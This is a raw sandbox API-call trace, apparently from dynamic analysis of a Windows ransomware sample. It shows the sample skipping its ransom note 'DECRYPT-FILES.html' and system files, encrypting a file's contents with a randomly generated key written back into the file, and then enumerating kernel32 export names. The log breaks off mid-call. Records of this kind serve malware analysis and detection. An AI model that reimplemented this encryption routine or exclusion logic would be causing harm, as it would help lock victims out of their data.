ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="DECRYPT-FILES.html") returned 1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="autorun.inf") returned 1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="boot.ini") returned 1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="desktop.ini") returned 1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat") returned -1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="iconcache.db") returned 1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="bootsect.bak") returned 1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="ntuser.dat.log") returned -1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="thumbs.db") returned -1 [0140.605] lstrcmpiW (lpString1="LocalizedData.xml", lpString2="Bootfont.bin") returned 1 [0140.605] lstrlenW (lpString="C:\\588bce7c90097ed212\\3082\\") returned 27 [0140.605] lstrlenW (lpString="LocalizedData.xml") returned 17 [0140.605] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\3082\\" | out: lpString1="C:\\588bce7c90097ed212\\3082\\") returned="C:\\588bce7c90097ed212\\3082\\" [0140.605] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\3082\\", lpString2="LocalizedData.xml" | out: lpString1="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml") returned="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" [0140.605] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.605] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0140.605] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=79996) returned 1 [0140.605] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0140.605] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0140.816] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0140.816] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0140.816] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0140.817] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d40000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d40000*, pdwDataLen=0x38be718*=0x100) returned 1 [0140.817] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d50000 [0140.829] VirtualFree (lpAddress=0x2d50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.829] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0140.830] CloseHandle (hObject=0x5f8) returned 1 [0140.830] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0140.830] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d40000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d40000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0140.831] CloseHandle (hObject=0x0) returned 0 [0140.831] CloseHandle (hObject=0x5f4) returned 1 [0140.832] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.832] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0140.833] GetTickCount () returned 0x3884c [0140.833] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0140.833] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0140.833] VirtualAlloc (lpAddress=0x0, dwSize=0xe, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0140.833] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0140.834] lstrlenA (lpString="kernel32.dll") returned 12 [0140.834] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0140.834] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0140.834] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0140.834] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0140.834] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0140.834] lstrlenA (lpString="ADDATOMA") returned 8 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0140.834] lstrlenA (lpString="ADDATOMW") returned 8 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0140.834] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0140.834] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0140.834] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0140.834] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0140.834] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0140.834] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0140.835] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0140.835] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0140.835] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0140.835] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0140.835] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0140.835] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0140.835] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0140.835] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0140.835] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0140.835] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0140.835] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0140.835] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0140.835] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0140.835] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0140.835] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0140.835] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0140.835] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0140.835] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0140.835] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0140.836] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0140.836] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0140.836] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0140.836] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0140.836] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0140.836] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0140.836] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0140.836] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0140.836] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0140.836] lstrlenA (lpString="BACKUPREAD") returned 10 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0140.836] lstrlenA (lpString="BACKUPSEEK") returned 10 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0140.836] lstrlenA (lpString="BACKUPWRITE") returned 11 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0140.836] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0140.836] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0140.836] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0140.836] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0140.836] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0140.836] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0140.836] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0140.837] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0140.837] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0140.837] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0140.837] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0140.837] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0140.837] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0140.837] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0140.837] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0140.837] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0140.837] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0140.837] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0140.837] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0140.837] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0140.837] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0140.837] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0140.837] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0140.837] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0140.837] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0140.837] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0140.838] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0140.838] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0140.838] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0140.838] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0140.838] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateAppcompatCacheWorker" | out: lpString1="BaseUpdateAppcompatCacheWorker") returned="BaseUpdateAppcompatCacheWorker" [0140.838] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHEWORKER") returned 30 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseUpdateVDMEntry" | out: lpString1="BaseUpdateVDMEntry") returned="BaseUpdateVDMEntry" [0140.838] lstrlenA (lpString="BASEUPDATEVDMENTRY") returned 18 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseVerifyUnicodeString" | out: lpString1="BaseVerifyUnicodeString") returned="BaseVerifyUnicodeString" [0140.838] lstrlenA (lpString="BASEVERIFYUNICODESTRING") returned 23 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BaseWriteErrorElevationRequiredEvent" | out: lpString1="BaseWriteErrorElevationRequiredEvent") returned="BaseWriteErrorElevationRequiredEvent" [0140.838] lstrlenA (lpString="BASEWRITEERRORELEVATIONREQUIREDEVENT") returned 36 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Basep8BitStringToDynamicUnicodeString" | out: lpString1="Basep8BitStringToDynamicUnicodeString") returned="Basep8BitStringToDynamicUnicodeString" [0140.838] lstrlenA (lpString="BASEP8BITSTRINGTODYNAMICUNICODESTRING") returned 37 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAllocateActivationContextActivationBlock" | out: lpString1="BasepAllocateActivationContextActivationBlock") returned="BasepAllocateActivationContextActivationBlock" [0140.838] lstrlenA (lpString="BASEPALLOCATEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 45 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAnsiStringToDynamicUnicodeString" | out: lpString1="BasepAnsiStringToDynamicUnicodeString") returned="BasepAnsiStringToDynamicUnicodeString" [0140.838] lstrlenA (lpString="BASEPANSISTRINGTODYNAMICUNICODESTRING") returned 37 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppContainerEnvironmentExtension" | out: lpString1="BasepAppContainerEnvironmentExtension") returned="BasepAppContainerEnvironmentExtension" [0140.838] lstrlenA (lpString="BASEPAPPCONTAINERENVIRONMENTEXTENSION") returned 37 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepAppXExtension" | out: lpString1="BasepAppXExtension") returned="BasepAppXExtension" [0140.838] lstrlenA (lpString="BASEPAPPXEXTENSION") returned 18 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckAppCompat" | out: lpString1="BasepCheckAppCompat") returned="BasepCheckAppCompat" [0140.838] lstrlenA (lpString="BASEPCHECKAPPCOMPAT") returned 19 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWebBladeHashes" | out: lpString1="BasepCheckWebBladeHashes") returned="BasepCheckWebBladeHashes" [0140.838] lstrlenA (lpString="BASEPCHECKWEBBLADEHASHES") returned 24 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCheckWinSaferRestrictions" | out: lpString1="BasepCheckWinSaferRestrictions") returned="BasepCheckWinSaferRestrictions" [0140.838] lstrlenA (lpString="BASEPCHECKWINSAFERRESTRICTIONS") returned 30 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepConstructSxsCreateProcessMessage" | out: lpString1="BasepConstructSxsCreateProcessMessage") returned="BasepConstructSxsCreateProcessMessage" [0140.838] lstrlenA (lpString="BASEPCONSTRUCTSXSCREATEPROCESSMESSAGE") returned 37 [0140.838] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepCopyEncryption" | out: lpString1="BasepCopyEncryption") returned="BasepCopyEncryption" [0140.839] lstrlenA (lpString="BASEPCOPYENCRYPTION") returned 19 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeActivationContextActivationBlock" | out: lpString1="BasepFreeActivationContextActivationBlock") returned="BasepFreeActivationContextActivationBlock" [0140.839] lstrlenA (lpString="BASEPFREEACTIVATIONCONTEXTACTIVATIONBLOCK") returned 41 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepFreeAppCompatData" | out: lpString1="BasepFreeAppCompatData") returned="BasepFreeAppCompatData" [0140.839] lstrlenA (lpString="BASEPFREEAPPCOMPATDATA") returned 22 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetAppCompatData" | out: lpString1="BasepGetAppCompatData") returned="BasepGetAppCompatData" [0140.839] lstrlenA (lpString="BASEPGETAPPCOMPATDATA") returned 21 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetComputerNameFromNtPath" | out: lpString1="BasepGetComputerNameFromNtPath") returned="BasepGetComputerNameFromNtPath" [0140.839] lstrlenA (lpString="BASEPGETCOMPUTERNAMEFROMNTPATH") returned 30 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepGetExeArchType" | out: lpString1="BasepGetExeArchType") returned="BasepGetExeArchType" [0140.839] lstrlenA (lpString="BASEPGETEXEARCHTYPE") returned 19 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepInitAppCompatData" | out: lpString1="BasepInitAppCompatData") returned="BasepInitAppCompatData" [0140.839] lstrlenA (lpString="BASEPINITAPPCOMPATDATA") returned 22 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepIsProcessAllowed" | out: lpString1="BasepIsProcessAllowed") returned="BasepIsProcessAllowed" [0140.839] lstrlenA (lpString="BASEPISPROCESSALLOWED") returned 21 [0140.839] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepMapModuleHandle" | out: lpString1="BasepMapModuleHandle") returned="BasepMapModuleHandle" [0140.839] lstrlenA (lpString="BASEPMAPMODULEHANDLE") returned 20 [0140.839] lstrcpyA 